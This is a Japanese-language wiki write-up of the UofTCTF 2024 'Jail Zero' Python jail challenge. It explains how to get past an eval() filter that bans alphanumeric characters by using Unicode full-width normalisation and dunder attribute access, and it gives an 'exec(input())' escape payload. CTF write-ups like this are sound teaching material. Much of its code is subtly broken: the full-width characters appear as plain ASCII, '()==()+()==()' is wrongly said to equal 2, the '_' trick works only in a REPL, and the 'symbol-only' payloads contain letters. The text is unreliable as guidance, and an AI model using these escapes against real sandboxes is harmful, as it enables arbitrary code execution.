pyjail wiki

UofTCTF 2024 - Jail Zero

Challenge

英数字禁止の pyjail。

import re
code = input()
if re.search(r'[a-zA-Z0-9]', code):
print("Alphanumeric characters not allowed!")
exit()
eval(code)

Solution

アンダースコアによる dunder アクセス

英数字なしで __class__ などにアクセス:

# アンダースコアは使用可能
_
__
___

Unicode 正規化

全角英数字は NFKC 正規化により半角に変換される:

# 全角文字を使用
eval # → eval として認識
os # → os として認識

記号のみでの構築

# True/False は比較演算で生成
()==() # True
()!=() # False
# 数値は True を使って構築
()==()+()==() # 2

完全なペイロード

# 全角文字を使用
exec(input())

または記号のみ:

# __class__ アクセス
().__class__
# ただし 'class' は英字なので全角を使用
().__class__

Technical Details

英数字なしのテクニック

目的方法
数値()==() で True(1) を生成し演算
文字列全角文字、chr()
属性名全角識別子
関数呼び出し() で可能

NFKC 正規化の対象

import unicodedata
# 全角英字
unicodedata.normalize('NFKC', 'abc') # 'abc'
# 全角数字
unicodedata.normalize('NFKC', '123') # '123'
# 特殊文字
unicodedata.normalize('NFKC', 'ᵉᵛᵃˡ') # 'eval' (一部)

Alternative Solutions

別解1: _ のみ使用

Python インタープリタでは _ が直前の結果を保持:

() # _に()が格納
_.__class__ # クラスにアクセス

別解2: ブラケット記法

().__getattribute__('__class__')

Flag

uoftctf{...}

References

  • UofTCTF 2024 Official
  • Unicode NFKC Normalization